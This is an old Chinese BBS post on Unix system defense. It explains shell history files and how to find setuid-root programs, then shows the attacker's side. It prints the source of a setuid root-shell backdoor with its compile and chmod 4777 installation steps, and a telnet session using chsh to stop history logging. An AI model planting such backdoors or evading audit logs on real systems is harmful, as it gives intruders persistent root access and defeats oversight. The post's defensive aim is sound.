发信人: HPVC()
整理人: williamlong(1999-12-13 19:02:08), 站内信件
|
系统防卫(二) 3.历史文件: ksh、csh、sh、bash、zsh都可保存历史文件。其文件如下: sh: .sh_history (sh 也即Bourne shell) csh: .history ksh: .sh_history bash: .bash_history zsh: .history 在运行sh和ksh的用户的相应.profile中,加入HISTORY=100,可指定.sh_history 文件保存该用户最近运行的100条记录。 对于csh,则在.cshrc文件中加入, set history=100,则可。 用户可以运行history指令来查看历史文件中的内容。对于Ksh、sh 也可运行 tail -f .sh_history 来查看,其顺序是从最近的运行的指令开始。 而C shell 是在退出才能更新文件,所以不能用tail来观察C shell执行了那些命令。 这些历史文件比进程记帐更为有用,因为命令的参数也被保留下来,所以可通过执行 执行命令的上下文联系察觉到用户干了些什么。但话又说回来,其实这只起到一定作用而 已。 BTW: .profile用于Bourne和Korn shell; .login和.cshrc用于C shell。 4.找出属主为root且带s位的程序: 以root身份执行以下的指令, 找出此类文件,看看是否有可疑的程序存在。 #find / -perm -4000 -exec /bin/ls -lab {} ";" 其实在以前post的文章 1284 "系统安全技术的研究" 已有讨论过如何得到root shell 当hacker进入系统后,大部份是利用buffer overflow取得root shell 例如:solaris 中带s位的fdformat,ufsdump,ping等;AIX中xlock;SGI中的xlock; digital中的dop;等等,都给hacker找出其漏洞。 当hacker利用这些big bugs取的root shell后,若其想以后还想入侵此系统的话, 当然是留下root shell的程序,此时hakcer也不关心原来的bugs是否给fix掉,他/她 不再需要利用bug了,只须运行自己留下的root shell即给。 以下给出得到root shell的简单程序: #cat getrootshell.c void main(void) { setuid(0,0); execl("/bin/sh", "sh",0); }
编译后得到bin文件。此时,还有重要的步骤没做,what's it? look the following
#cc -o getrootshell getrootshell.c #chmod 4777 getrootshell #chown root:other getrootshell #ls -al getrootshell -rwsrwxrwx 1 root other 5 Oct 12 06:14 getrootshell (注意全过程是在取的rootshell后,才可这样做) 这样hacker就在该系统中留下了后门,下次入来后就不需利用还没fix的 fdformat,xlock,dop等bug 的程序了,直接运行getrootshell程序,就可跳成root了,想 干啥就干啥了。因此,管理员要查清此类型的文件。
现在从攻的角度来看上面两点防卫措施: 1.对于history文件,当hacker进入系统后可以改变shell类型,来使保存他后来所有指 令的history文件失效。因此,当hacker用crack到的帐号进入系统后,第一条所敲的指令 是改变shell类型的指令. example in digital unix下: c:\>telnet XXX.XXX.XXX.XXX Digital UNIX (center) (ttyp5)
login: tommy Password: Last login: Sun Oct 11 22:43:51 from HPVC.com
Digital UNIX V4.0A (Rev. 464); Sat Feb 7 19:54:12 GMT+0800 1998
The installation software has successfully installed your system.
There are logfiles that contain a record of your installation. These are:
/var/adm/smlogs/install.cdf - configuration description file /var/adm/smlogs/install.log - general log file /var/adm/smlogs/install.FS.log - file system creation logs /var/adm/smlogs/setld.log - log for the setld(8) utility /var/adm/smlogs/fverify.log - verification log file
center>chsh Old shell: /bin/sh New shell: ksh 其他系统不在此一一列举。
2.对于类似getrootshell的bin文件,hacker也不会真的那么愚蠢到起这个名字,且他们 会将此类型的程序藏在不易察觉的目录下,如果不是老练的管理员是不会发现的,这会 在下节提到。(注:一般来说,hacker不会把getrootshell文件删除的,因为他也不能肯 定下次进入系统时那些bugs还是否可以利用,使其变root)
-- ※ 来源:.广州网易 BBS bbs.nease.net.[FROM: bluesky]
|
|